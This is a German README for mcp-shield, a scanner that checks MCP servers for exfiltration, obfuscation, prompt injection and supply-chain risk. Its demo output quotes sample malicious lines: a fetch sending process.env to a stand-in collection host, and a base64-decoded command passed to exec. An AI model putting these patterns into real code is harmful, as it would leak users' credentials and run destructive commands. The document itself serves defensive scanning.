mcp-shield
mcp-shield
Ein Sicherheitsscanner für MCP-Server – erkennt Hintertüren, Exfiltration, Prompt-Injection und Risiken in der Lieferkette, bevor sie Ihre KI erreichen.
Das MCP-Ökosystem wächst schnell. Nicht jeder Server auf npm ist sicher. mcp-shield ermöglicht es Claude, jeden MCP-Server – lokal oder von npm – zu prüfen, bevor Sie ihm Ihre Dateien, Schlüssel und Ihren Kontext anvertrauen.
Was es erkennt
Kategorie | Beispiele |
Exfiltration |
|
Code-Ausführung |
|
Obfuskation | Base64-Laufzeit-Dekodierung, hex-kodierte Payloads, Zeichencode-Arrays |
Zugriff auf sensible Dateien |
|
Prompt-Injection | Versteckte Anweisungen, Zero-Width-Zeichen, Rollenwechsel-Angriffe, Jailbreak-Muster |
Lieferkette | Paket-Alter, Download-Anzahl, Anzahl der Betreuer, CVEs in Abhängigkeiten |
Demo
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)Tools
Tool | Was es tut |
| Lädt ein npm MCP-Paket herunter und scannt es auf bösartige Muster |
| Scannt ein lokales MCP-Server-Verzeichnis (von GitHub geklont, etc.) |
| Überprüft Tool-Beschreibungen oder Antworten auf versteckte Injections |
| Ermittelt Vertrauenswert, CVEs, Anzahl der Betreuer und Alter für jedes npm-Paket |
Installation
Option 1 — npx (keine Installation)
claude mcp add mcp-shield -- npx mcp-shieldOption 2 — globale Installation
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shieldOption 3 — manuelle Konfiguration
Hinzufügen zu ~/.claude/claude_mcp_config.json:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}Anwendungsbeispiele
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"Funktionsweise
Statische Analyse — scannt JavaScript/TypeScript-Quelldateien mit einer Bibliothek von Regex-Mustern, die über 20 Angriffssignaturen in 5 Kategorien abdecken.
Lieferketten-Audit — fragt die npm-Registry nach Paket-Metadaten ab und führt dann npm audit aus, um bekannte CVEs im Abhängigkeitsbaum aufzudecken.
Prompt-Injection-Erkennung — überprüft Tool-Beschreibungen und Antworten auf Zero-Width-Zeichen, Anweisungsüberschreibungen, Rollenwechsel-Angriffe und andere Techniken, die auf LLMs abzielen.
--ignore-scripts Installation — beim Scannen von npm-Paketen erfolgt die Installation mit --ignore-scripts, sodass während der Analyse keine bösartigen Postinstall-Hooks ausgeführt werden.
Mitwirken
PRs sind willkommen. Erkennungsmuster befinden sich in src/patterns.ts — das Hinzufügen neuer Signaturen ist ein einfaches Objekt.
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run devLizenz
MIT
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'
If you have feedback or need assistance with the MCP directory API, please join our Discord server